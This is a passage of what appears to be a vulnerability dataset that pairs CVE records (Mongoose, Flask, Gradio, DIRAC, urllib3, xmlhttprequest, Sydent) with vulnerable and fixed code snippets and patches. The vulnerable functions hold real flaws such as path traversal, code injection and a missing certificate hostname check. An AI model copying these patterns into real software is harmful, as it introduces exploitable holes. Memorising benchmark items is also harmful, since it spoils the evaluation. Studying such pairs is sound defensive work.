"file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 741, "end_line": 756, "snippet": "function throwOn$where(match) {\n  if (match == null) {\n    return;\n  }\n  if (typeof match !== 'object') {\n    return;\n  }\n  for (const key of Object.keys(match)) {\n    if (key === '$where') {\n      throw new MongooseError('Cannot use $where filter with populate() match');\n    }\n    if (match[key] != null && typeof match[key] === 'object') {\n      throwOn$where(match[key]);\n    }\n  }\n}"}], "vul_patch": "--- a/lib/helpers/populate/getModelsMapForPopulate.js\n+++ b/lib/helpers/populate/getModelsMapForPopulate.js\n@@ -163,15 +163,7 @@\n     if (hasMatchFunction) {\n       match = match.call(doc, doc);\n     }\n-    if (Array.isArray(match)) {\n-      for (const item of match) {\n-        if (item != null && item.$where) {\n-          throw new MongooseError('Cannot use $where filter with populate() match');\n-        }\n-      }\n-    } else if (match != null && match.$where != null) {\n-      throw new MongooseError('Cannot use $where filter with populate() match');\n-    }\n+    throwOn$where(match);\n     data.match = match;\n     data.hasMatchFunction = hasMatchFunction;\n     data.isRefPath = isRefPath;\n\n--- a/lib/helpers/populate/getModelsMapForPopulate.js\n+++ b/lib/helpers/populate/getModelsMapForPopulate.js\n@@ -106,15 +106,7 @@\n     data.match = match;\n     data.hasMatchFunction = hasMatchFunction;\n \n-    if (Array.isArray(match)) {\n-      for (const item of match) {\n-        if (item != null && item.$where) {\n-          throw new MongooseError('Cannot use $where filter with populate() match');\n-        }\n-      }\n-    } else if (match != null && match.$where != null) {\n-      throw new MongooseError('Cannot use $where filter with populate() match');\n-    }\n+    throwOn$where(match);\n \n     // Get local fields\n     const ret = _getLocalFieldValues(doc, localField, model, options, virtual);\n\n--- /dev/null\n+++ b/lib/helpers/populate/getModelsMapForPopulate.js\n@@ -0,0 +1,16 @@\n+function throwOn$where(match) {\n+  if (match == null) {\n+    return;\n+  }\n+  if (typeof match !== 'object') {\n+    return;\n+  }\n+  for (const key of Object.keys(match)) {\n+    if (key === '$where') {\n+      throw new MongooseError('Cannot use $where filter with populate() match');\n+    }\n+    if (match[key] != null && typeof match[key] === 'object') {\n+      throwOn$where(match[key]);\n+    }\n+  }\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31549", "cve_description": "The olmax99/helm-flask-celery repository before 2022-05-25 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/olmax99/helm-flask-celery", "patch_url": ["https://github.com/olmax99/helm-flask-celery/commit/28c985d712d7ac26893433e8035e2e3678fcae9f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_93_1", "commit": "0e8a6bd", "file_path": "webapiservice/flaskapi/core/app_setup.py", "start_line": "78", "end_line": "87", "snippet": "def route_frontend(path):\n    # ...could be a static file needed by the front end that\n    # doesn't use the `static` path (like in `<script src=\"bundle.js\">`)\n    file_path = os.path.join(current_app.template_folder, path)\n    if os.path.isfile(file_path):\n        return send_file(file_path)\n    # ...or should be handled by the SPA's \"router\" in front end\n    else:\n        index_path = os.path.join(current_app.static_folder, 'index.html')\n        return send_file(index_path)"}], "fix_func": [{"id": "fix_py_93_1", "commit": "28c985d", "file_path": "webapiservice/flaskapi/core/app_setup.py", "start_line": "78", "end_line": "87", "snippet": "def route_frontend(path):\n    # ...could be a static file needed by the front end that\n    # doesn't use the `static` path (like in `<script src=\"bundle.js\">`)\n    file_path = safe_join(current_app.template_folder, path)\n    if os.path.isfile(file_path):\n        return send_file(file_path)\n    # ...or should be handled by the SPA's \"router\" in front end\n    else:\n        index_path = os.path.join(current_app.static_folder, 'index.html')\n        return send_file(index_path)"}], "vul_patch": "--- a/webapiservice/flaskapi/core/app_setup.py\n+++ b/webapiservice/flaskapi/core/app_setup.py\n@@ -1,7 +1,7 @@\n def route_frontend(path):\n     # ...could be a static file needed by the front end that\n     # doesn't use the `static` path (like in `<script src=\"bundle.js\">`)\n-    file_path = os.path.join(current_app.template_folder, path)\n+    file_path = safe_join(current_app.template_folder, path)\n     if os.path.isfile(file_path):\n         return send_file(file_path)\n     # ...or should be handled by the SPA's \"router\" in front end\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-1183", "cve_description": "An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/gradio-app/gradio", "patch_url": ["https://github.com/gradio-app/gradio/commit/7ba8c5da45b004edd12c0460be9222f5b5f5f055", "https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_82_1", "commit": "dc131b6", "file_path": "gradio/routes.py", "start_line": "434", "end_line": "484", "snippet": "        async def file(path_or_url: str, request: fastapi.Request):\n            blocks = app.get_blocks()\n            if utils.validate_url(path_or_url):\n                return RedirectResponse(\n                    url=path_or_url, status_code=status.HTTP_302_FOUND\n                )\n            abs_path = utils.abspath(path_or_url)\n\n            in_blocklist = any(\n                utils.is_in_or_equal(abs_path, blocked_path)\n                for blocked_path in blocks.blocked_paths\n            )\n            is_dir = abs_path.is_dir()\n\n            if in_blocklist or is_dir:\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            created_by_app = str(abs_path) in set().union(*blocks.temp_file_sets)\n            in_allowlist = any(\n                utils.is_in_or_equal(abs_path, allowed_path)\n                for allowed_path in blocks.allowed_paths\n            )\n            was_uploaded = utils.is_in_or_equal(abs_path, app.uploaded_file_dir)\n            is_cached_example = utils.is_in_or_equal(\n                abs_path, utils.abspath(CACHED_FOLDER)\n            )\n\n            if not (\n                created_by_app or in_allowlist or was_uploaded or is_cached_example\n            ):\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            if not abs_path.exists():\n                raise HTTPException(404, f\"File not found: {path_or_url}.\")\n\n            range_val = request.headers.get(\"Range\", \"\").strip()\n            if range_val.startswith(\"bytes=\") and \"-\" in range_val:\n                range_val = range_val[6:]\n                start, end = range_val.split(\"-\")\n                if start.isnumeric() and end.isnumeric():\n                    start = int(start)\n                    end = int(end)\n                    response = ranged_response.RangedFileResponse(\n                        abs_path,\n                        ranged_response.OpenRange(start, end),\n                        dict(request.headers),\n                        stat_result=os.stat(abs_path),\n                    )\n                    return response\n\n            return FileResponse(abs_path, headers={\"Accept-Ranges\": \"bytes\"})"}], "fix_func": [{"id": "fix_py_82_1", "commit": "7ba8c5d", "file_path": "gradio/routes.py", "start_line": "434", "end_line": "484", "snippet": "        async def file(path_or_url: str, request: fastapi.Request):\n            blocks = app.get_blocks()\n            if client_utils.is_http_url_like(path_or_url):\n                return RedirectResponse(\n                    url=path_or_url, status_code=status.HTTP_302_FOUND\n                )\n            abs_path = utils.abspath(path_or_url)\n\n            in_blocklist = any(\n                utils.is_in_or_equal(abs_path, blocked_path)\n                for blocked_path in blocks.blocked_paths\n            )\n            is_dir = abs_path.is_dir()\n\n            if in_blocklist or is_dir:\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            created_by_app = str(abs_path) in set().union(*blocks.temp_file_sets)\n            in_allowlist = any(\n                utils.is_in_or_equal(abs_path, allowed_path)\n                for allowed_path in blocks.allowed_paths\n            )\n            was_uploaded = utils.is_in_or_equal(abs_path, app.uploaded_file_dir)\n            is_cached_example = utils.is_in_or_equal(\n                abs_path, utils.abspath(CACHED_FOLDER)\n            )\n\n            if not (\n                created_by_app or in_allowlist or was_uploaded or is_cached_example\n            ):\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            if not abs_path.exists():\n                raise HTTPException(404, f\"File not found: {path_or_url}.\")\n\n            range_val = request.headers.get(\"Range\", \"\").strip()\n            if range_val.startswith(\"bytes=\") and \"-\" in range_val:\n                range_val = range_val[6:]\n                start, end = range_val.split(\"-\")\n                if start.isnumeric() and end.isnumeric():\n                    start = int(start)\n                    end = int(end)\n                    response = ranged_response.RangedFileResponse(\n                        abs_path,\n                        ranged_response.OpenRange(start, end),\n                        dict(request.headers),\n                        stat_result=os.stat(abs_path),\n                    )\n                    return response\n\n            return FileResponse(abs_path, headers={\"Accept-Ranges\": \"bytes\"})"}], "vul_patch": "--- a/gradio/routes.py\n+++ b/gradio/routes.py\n@@ -1,6 +1,6 @@\n         async def file(path_or_url: str, request: fastapi.Request):\n             blocks = app.get_blocks()\n-            if utils.validate_url(path_or_url):\n+            if client_utils.is_http_url_like(path_or_url):\n                 return RedirectResponse(\n                     url=path_or_url, status_code=status.HTTP_302_FOUND\n                 )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-24825", "cve_description": "DIRAC is a distributed resource framework. In affected versions any user could get a token that has been requested by another user/agent. This may expose resources to unintended parties. This issue has been addressed in release version 8.0.37. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/DIRACGrid/DIRAC", "patch_url": ["https://github.com/DIRACGrid/DIRAC/commit/f9ddab755b9a69acb85e14d2db851d8ac0c9648c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_163_1", "commit": "a048eb2", "file_path": "src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py", "start_line": 51, "end_line": 52, "snippet": "# Used to synchronize the cache with user tokens\ngTokensSync = ThreadSafe.Synchronizer()"}, {"id": "vul_py_163_2", "commit": "a048eb2", "file_path": "src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py", "start_line": 58, "end_line": 78, "snippet": "    @classmethod\n    def initializeHandler(cls, *args):\n        \"\"\"Initialization\n\n        :return: S_OK()/S_ERROR()\n        \"\"\"\n        # Cache containing tokens from scope requested by the client\n        cls.__tokensCache = DictCache()\n\n        # The service plays an important OAuth 2.0 role, namely it is an Identity Provider client.\n        # This allows you to manage tokens without the involvement of their owners.\n        cls.idps = IdProviderFactory()\n\n        # Let's try to connect to the database\n        try:\n            cls.__tokenDB = TokenDB(parentLogger=cls.log)\n        except Exception as e:\n            cls.log.exception(e)\n            return S_ERROR(f\"Could not connect to the database {repr(e)}\")\n\n        return S_OK()"}, {"id": "vul_py_163_3", "commit": "a048eb2", "file_path": "src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py", "start_line": 184, "end_line": 275, "snippet": "    @gTokensSync\n    def export_getToken(\n        self,\n        username: str = None,\n        userGroup: str = None,\n        scope: list[str] = None,\n        audience: str = None,\n        identityProvider: str = None,\n        requiredTimeLeft: int = 0,\n    ):\n        \"\"\"Get an access token for a user/group.\n\n        * Properties:\n            * FullDelegation <- permits full delegation of tokens\n            * LimitedDelegation <- permits downloading only limited tokens\n            * PrivateLimitedDelegation <- permits downloading only limited tokens for one self\n\n        :param username: user name\n        :param userGroup: user group\n        :param scope: requested scope\n        :param audience: requested audience\n        :param identityProvider: Identity Provider name\n        :param requiredTimeLeft: requested minimum life time\n\n        :return: S_OK(dict)/S_ERROR()\n        \"\"\"\n        # Get an IdProvider Client instance\n        result = getIdProviderClient(userGroup, identityProvider)\n        if not result[\"OK\"]:\n            return result\n        idpObj = result[\"Value\"]\n\n        # Search for an existing token in tokensCache\n        cachedKey = getCachedKey(idpObj, username, userGroup, scope, audience)\n        result = getCachedToken(self.__tokensCache, cachedKey, requiredTimeLeft)\n        if result[\"OK\"]:\n            # A valid token has been found and is returned\n            return result\n\n        # A client token is requested\n        if not username:\n            result = self.__checkProperties(\"\", \"\")\n            if not result[\"OK\"]:\n                return result\n\n            # Get the client token with requested scope and audience\n            scope = cachedKey[1]\n            audience = cachedKey[2]\n            result = idpObj.fetchToken(grant_type=\"client_credentials\", scope=scope, audience=audience)\n            if not result[\"OK\"]:\n                return result\n            token = result[\"Value\"]\n\n            # Caching new token: only get an access token (no refresh token in this context)\n            self.__tokensCache.add(\n                cachedKey,\n                result[\"Value\"].get_claim(\"exp\", \"access_token\") or DEFAULT_AT_EXPIRATION_TIME,\n                token,\n            )\n            return result\n\n        # A user token is requested\n        err = []\n        # No luck so far, let's refresh the token stored in the database\n        result = Registry.getDNForUsername(username)\n        if not result[\"OK\"]:\n            return result\n        for dn in result[\"Value\"]:\n            # For backward compatibility, the user ID is written as DN. So let's check if this DN contains a user ID\n            result = Registry.getIDFromDN(dn)\n            if result[\"OK\"]:\n                uid = result[\"Value\"]\n                # To do this, first find the refresh token stored in the database with the maximum scope\n                result = self.__tokenDB.getTokenForUserProvider(uid, idpObj.name)\n                if result[\"OK\"] and result[\"Value\"]:\n                    tokens = result[\"Value\"]\n                    result = self.__checkProperties(dn, userGroup)\n                    if result[\"OK\"]:\n                        # refresh token with requested scope\n                        result = idpObj.refreshToken(tokens.get(\"refresh_token\"), group=userGroup, scope=scope)\n                        if result[\"OK\"]:\n                            # caching new tokens\n                            self.__tokensCache.add(\n                                cachedKey,\n                                result[\"Value\"].get_claim(\"exp\", \"refresh_token\") or DEFAULT_RT_EXPIRATION_TIME,\n                                result[\"Value\"],\n                            )\n                            return result\n                # Did not find any token associated with the found user ID\n                err.append(result.get(\"Message\", f\"No token found for {uid}\"))\n        # Collect all errors when trying to get a token, or if no user ID is registered\n        return S_ERROR(\"; \".join(err or [f\"No user ID found for {username}\"]))"}], "fix_func": [{"id": "fix_py_163_2", "commit": "f9ddab7", "file_path": "src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py", "start_line": 52, "end_line": 70, "snippet": "    @classmethod\n    def initializeHandler(cls, *args):\n        \"\"\"Initialization\n\n        :return: S_OK()/S_ERROR()\n        \"\"\"\n\n        # The service plays an important OAuth 2.0 role, namely it is an Identity Provider client.\n        # This allows you to manage tokens without the involvement of their owners.\n        cls.idps = IdProviderFactory()\n\n        # Let's try to connect to the database\n        try:\n            cls.__tokenDB = TokenDB(parentLogger=cls.log)\n        except Exception as e:\n            cls.log.exception(e)\n            return S_ERROR(f\"Could not connect to the database {repr(e)}\")\n\n        return S_OK()"}, {"id": "fix_py_163_3", "commit": "f9ddab7", "file_path": "src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py", "start_line": 176, "end_line": 245, "snippet": "    def export_getToken(\n        self,\n        username: str = None,\n        userGroup: str = None,\n        scope: list[str] = None,\n        audience: str = None,\n        identityProvider: str = None,\n        requiredTimeLeft: int = 0,\n    ):\n        \"\"\"Get an access token for a user/group.\n\n        * Properties:\n            * FullDelegation <- permits full delegation of tokens\n            * LimitedDelegation <- permits downloading only limited tokens\n            * PrivateLimitedDelegation <- permits downloading only limited tokens for one self\n\n        :param username: user name\n        :param userGroup: user group\n        :param scope: requested scope\n        :param audience: requested audience\n        :param identityProvider: Identity Provider name\n        :param requiredTimeLeft: requested minimum life time\n\n        :return: S_OK(dict)/S_ERROR()\n        \"\"\"\n        # Get an IdProvider Client instance\n        result = getIdProviderClient(userGroup, identityProvider)\n        if not result[\"OK\"]:\n            return result\n        idpObj = result[\"Value\"]\n\n        # getCachedKey is just used here to resolve the default scopes\n        _, scope, *_ = getCachedKey(idpObj, username, userGroup, scope, audience)\n\n        # A client token is requested\n        if not username:\n            result = self.__checkProperties(\"\", \"\")\n            if not result[\"OK\"]:\n                return result\n\n            # Get the client token with requested scope and audience\n            result = idpObj.fetchToken(grant_type=\"client_credentials\", scope=scope, audience=audience)\n\n            return result\n\n        # A user token is requested\n        err = []\n        # No luck so far, let's refresh the token stored in the database\n        result = Registry.getDNForUsername(username)\n        if not result[\"OK\"]:\n            return result\n        for dn in result[\"Value\"]:\n            # For backward compatibility, the user ID is written as DN. So let's check if this DN contains a user ID\n            result = Registry.getIDFromDN(dn)\n            if result[\"OK\"]:\n                uid = result[\"Value\"]\n                # To do this, first find the refresh token stored in the database with the maximum scope\n                result = self.__tokenDB.getTokenForUserProvider(uid, idpObj.name)\n                if result[\"OK\"] and result[\"Value\"]:\n                    tokens = result[\"Value\"]\n                    result = self.__checkProperties(dn, userGroup)\n                    if result[\"OK\"]:\n                        # refresh token with requested scope\n                        result = idpObj.refreshToken(tokens.get(\"refresh_token\"), group=userGroup, scope=scope)\n                        if result[\"OK\"]:\n                            return result\n                # Did not find any token associated with the found user ID\n                err.append(result.get(\"Message\", f\"No token found for {uid}\"))\n        # Collect all errors when trying to get a token, or if no user ID is registered\n        return S_ERROR(\"; \".join(err or [f\"No user ID found for {username}\"]))"}], "vul_patch": "--- a/src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py\n+++ /dev/null\n@@ -1,2 +0,0 @@\n-# Used to synchronize the cache with user tokens\n-gTokensSync = ThreadSafe.Synchronizer()\n\n--- a/src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py\n+++ b/src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py\n@@ -4,8 +4,6 @@\n \n         :return: S_OK()/S_ERROR()\n         \"\"\"\n-        # Cache containing tokens from scope requested by the client\n-        cls.__tokensCache = DictCache()\n \n         # The service plays an important OAuth 2.0 role, namely it is an Identity Provider client.\n         # This allows you to manage tokens without the involvement of their owners.\n\n--- a/src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py\n+++ b/src/DIRAC/FrameworkSystem/Service/TokenManagerHandler.py\n@@ -1,4 +1,3 @@\n-    @gTokensSync\n     def export_getToken(\n         self,\n         username: str = None,\n@@ -30,12 +29,8 @@\n             return result\n         idpObj = result[\"Value\"]\n \n-        # Search for an existing token in tokensCache\n-        cachedKey = getCachedKey(idpObj, username, userGroup, scope, audience)\n-        result = getCachedToken(self.__tokensCache, cachedKey, requiredTimeLeft)\n-        if result[\"OK\"]:\n-            # A valid token has been found and is returned\n-            return result\n+        # getCachedKey is just used here to resolve the default scopes\n+        _, scope, *_ = getCachedKey(idpObj, username, userGroup, scope, audience)\n \n         # A client token is requested\n         if not username:\n@@ -44,19 +39,8 @@\n                 return result\n \n             # Get the client token with requested scope and audience\n-            scope = cachedKey[1]\n-            audience = cachedKey[2]\n             result = idpObj.fetchToken(grant_type=\"client_credentials\", scope=scope, audience=audience)\n-            if not result[\"OK\"]:\n-                return result\n-            token = result[\"Value\"]\n \n-            # Caching new token: only get an access token (no refresh token in this context)\n-            self.__tokensCache.add(\n-                cachedKey,\n-                result[\"Value\"].get_claim(\"exp\", \"access_token\") or DEFAULT_AT_EXPIRATION_TIME,\n-                token,\n-            )\n             return result\n \n         # A user token is requested\n@@ -79,12 +63,6 @@\n                         # refresh token with requested scope\n                         result = idpObj.refreshToken(tokens.get(\"refresh_token\"), group=userGroup, scope=scope)\n                         if result[\"OK\"]:\n-                            # caching new tokens\n-                            self.__tokensCache.add(\n-                                cachedKey,\n-                                result[\"Value\"].get_claim(\"exp\", \"refresh_token\") or DEFAULT_RT_EXPIRATION_TIME,\n-                                result[\"Value\"],\n-                            )\n                             return result\n                 # Did not find any token associated with the found user ID\n                 err.append(result.get(\"Message\", f\"No token found for {uid}\"))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-28363", "cve_description": "The urllib3 library 1.26.x before 1.26.4 for Python omits SSL certificate validation in some cases involving HTTPS to HTTPS proxies. The initial connection to the HTTPS proxy (if an SSLContext isn't given via proxy_config) doesn't verify the hostname of the certificate. This means certificates for different servers that still validate properly with the default urllib3 SSLContext will be silently accepted.", "cwe_info": {"CWE-295": {"name": "Improper Certificate Validation", "description": "The product does not validate, or incorrectly validates, a certificate."}}, "repo": "https://github.com/urllib3/urllib3", "patch_url": ["https://github.com/urllib3/urllib3/commit/8d65ea1ecf6e2cdc27d42124e587c1b83a3118b0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_85_1", "commit": "5e34326", "file_path": "src/urllib3/connection.py", "start_line": "471", "end_line": "503", "snippet": "    def _connect_tls_proxy(self, hostname, conn):\n        \"\"\"\n        Establish a TLS connection to the proxy using the provided SSL context.\n        \"\"\"\n        proxy_config = self.proxy_config\n        ssl_context = proxy_config.ssl_context\n        if ssl_context:\n            # If the user provided a proxy context, we assume CA and client\n            # certificates have already been set\n            return ssl_wrap_socket(\n                sock=conn,\n                server_hostname=hostname,\n                ssl_context=ssl_context,\n            )\n\n        ssl_context = create_proxy_ssl_context(\n            self.ssl_version,\n            self.cert_reqs,\n            self.ca_certs,\n            self.ca_cert_dir,\n            self.ca_cert_data,\n        )\n\n        # If no cert was provided, use only the default options for server\n        # certificate validation\n        return ssl_wrap_socket(\n            sock=conn,\n            ca_certs=self.ca_certs,\n            ca_cert_dir=self.ca_cert_dir,\n            ca_cert_data=self.ca_cert_data,\n            server_hostname=hostname,\n            ssl_context=ssl_context,\n        )"}], "fix_func": [{"id": "fix_py_85_1", "commit": "8d65ea1", "file_path": "src/urllib3/connection.py", "start_line": "471", "end_line": "507", "snippet": "    def _connect_tls_proxy(self, hostname, conn):\n        \"\"\"\n        Establish a TLS connection to the proxy using the provided SSL context.\n        \"\"\"\n        proxy_config = self.proxy_config\n        ssl_context = proxy_config.ssl_context\n        if ssl_context:\n            # If the user provided a proxy context, we assume CA and client\n            # certificates have already been set\n            return ssl_wrap_socket(\n                sock=conn,\n                server_hostname=hostname,\n                ssl_context=ssl_context,\n            )\n\n        ssl_context = create_proxy_ssl_context(\n            self.ssl_version,\n            self.cert_reqs,\n            self.ca_certs,\n            self.ca_cert_dir,\n            self.ca_cert_data,\n        )\n        # By default urllib3's SSLContext disables `check_hostname` and uses\n        # a custom check. For proxies we're good with relying on the default\n        # verification.\n        ssl_context.check_hostname = True\n\n        # If no cert was provided, use only the default options for server\n        # certificate validation\n        return ssl_wrap_socket(\n            sock=conn,\n            ca_certs=self.ca_certs,\n            ca_cert_dir=self.ca_cert_dir,\n            ca_cert_data=self.ca_cert_data,\n            server_hostname=hostname,\n            ssl_context=ssl_context,\n        )"}], "vul_patch": "--- a/src/urllib3/connection.py\n+++ b/src/urllib3/connection.py\n@@ -20,6 +20,10 @@\n             self.ca_cert_dir,\n             self.ca_cert_data,\n         )\n+        # By default urllib3's SSLContext disables `check_hostname` and uses\n+        # a custom check. For proxies we're good with relying on the default\n+        # verification.\n+        ssl_context.check_hostname = True\n \n         # If no cert was provided, use only the default options for server\n         # certificate validation\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-28502", "cve_description": "This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/mjwwit/node-XMLHttpRequest", "patch_url": ["https://github.com/mjwwit/node-XMLHttpRequest/commit/ee1e81fc67729c7c0eba5537ed7fe1e30a6b3291", "https://github.com/driverdan/node-XMLHttpRequest/commit/983cfc244c7567ad6a59e366e55a8037e0497fe6"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_272_1", "commit": "bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2", "file_path": "lib/XMLHttpRequest.js", "start_line": 510, "end_line": 532, "snippet": "      var execString = \"var http = require('http'), https = require('https'), fs = require('fs');\"\n        + \"var doRequest = http\" + (ssl ? \"s\" : \"\") + \".request;\"\n        + \"var options = \" + JSON.stringify(options) + \";\"\n        + \"var responseText = '';\"\n        + \"var req = doRequest(options, function(response) {\"\n        + \"response.setEncoding('utf8');\"\n        + \"response.on('data', function(chunk) {\"\n        + \"  responseText += chunk;\"\n        + \"});\"\n        + \"response.on('end', function() {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-STATUS:' + response.statusCode + ',' + responseText, 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"response.on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"}).on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + (data ? \"req.write('\" + data.replace(/'/g, \"\\\\'\") + \"');\":\"\")\n        + \"req.end();\";"}], "fix_func": [{"id": "fix_js_272_1", "commit": "ee1e81fc67729c7c0eba5537ed7fe1e30a6b3291", "file_path": "lib/XMLHttpRequest.js", "start_line": 510, "end_line": 532, "snippet": "      var execString = \"var http = require('http'), https = require('https'), fs = require('fs');\"\n        + \"var doRequest = http\" + (ssl ? \"s\" : \"\") + \".request;\"\n        + \"var options = \" + JSON.stringify(options) + \";\"\n        + \"var responseText = '';\"\n        + \"var req = doRequest(options, function(response) {\"\n        + \"response.setEncoding('utf8');\"\n        + \"response.on('data', function(chunk) {\"\n        + \"  responseText += chunk;\"\n        + \"});\"\n        + \"response.on('end', function() {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-STATUS:' + response.statusCode + ',' + responseText, 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"response.on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"}).on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + (data ? \"req.write('\" + JSON.stringify(data).slice(1,-1).replace(/'/g, \"\\\\'\") + \"');\":\"\")\n        + \"req.end();\";"}], "vul_patch": "--- a/lib/XMLHttpRequest.js\n+++ b/lib/XMLHttpRequest.js\n@@ -19,5 +19,5 @@\n         + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n         + \"fs.unlinkSync('\" + syncFile + \"');\"\n         + \"});\"\n-        + (data ? \"req.write('\" + data.replace(/'/g, \"\\\\'\") + \"');\":\"\")\n+        + (data ? \"req.write('\" + JSON.stringify(data).slice(1,-1).replace(/'/g, \"\\\\'\") + \"');\":\"\")\n         + \"req.end();\";\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-11340", "cve_description": "util/emailutils.py in Matrix Sydent before 1.0.2 mishandles registration restrictions that are based on e-mail domain, if the allowed_local_3pids option is enabled. This occurs because of potentially unwanted behavior in Python, in which an email.utils.parseaddr call on user@bad.example.net@good.example.com returns the user@bad.example.net substring.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/matrix-org/sydent", "patch_url": ["https://github.com/matrix-org/sydent/commit/4e1cfff53429c49c87d5c457a18ed435520044fc"], "programing_language": "Python", "vul_func": [{"id": "vul_py_243_1", "commit": "617ff31", "file_path": "sydent/util/emailutils.py", "start_line": 34, "end_line": 86, "snippet": "def sendEmail(sydent, templateName, mailTo, substitutions):\n        mailFrom = sydent.cfg.get('email', 'email.from')\n        mailTemplateFile = sydent.cfg.get('email', templateName)\n\n        myHostname = sydent.cfg.get('email', 'email.hostname')\n        if myHostname == '':\n            myHostname = socket.getfqdn()\n        midRandom = \"\".join([random.choice(string.ascii_letters) for _ in range(16)])\n        messageid = \"<%d%s@%s>\" % (time_msec(), midRandom, myHostname)\n\n        allSubstitutions = {}\n        allSubstitutions.update(substitutions)\n        allSubstitutions.update({\n            'messageid': messageid,\n            'date': email.utils.formatdate(localtime=False),\n            'to': mailTo,\n            'from': mailFrom,\n        })\n\n        for k,v in allSubstitutions.items():\n            allSubstitutions[k] = v.decode('utf8')\n            allSubstitutions[k+\"_forhtml\"] = cgi.escape(v.decode('utf8'))\n            allSubstitutions[k+\"_forurl\"] = urllib.quote(v)\n\n        mailString = open(mailTemplateFile).read() % allSubstitutions\n        rawFrom = email.utils.parseaddr(mailFrom)[1]\n        rawTo = email.utils.parseaddr(mailTo)[1]\n        if rawFrom == '' or rawTo == '':\n            logger.info(\"Couldn't parse from / to address %s / %s\", mailFrom, mailTo)\n            raise EmailAddressException()\n        mailServer = sydent.cfg.get('email', 'email.smtphost')\n        mailPort = sydent.cfg.get('email', 'email.smtpport')\n        mailUsername = 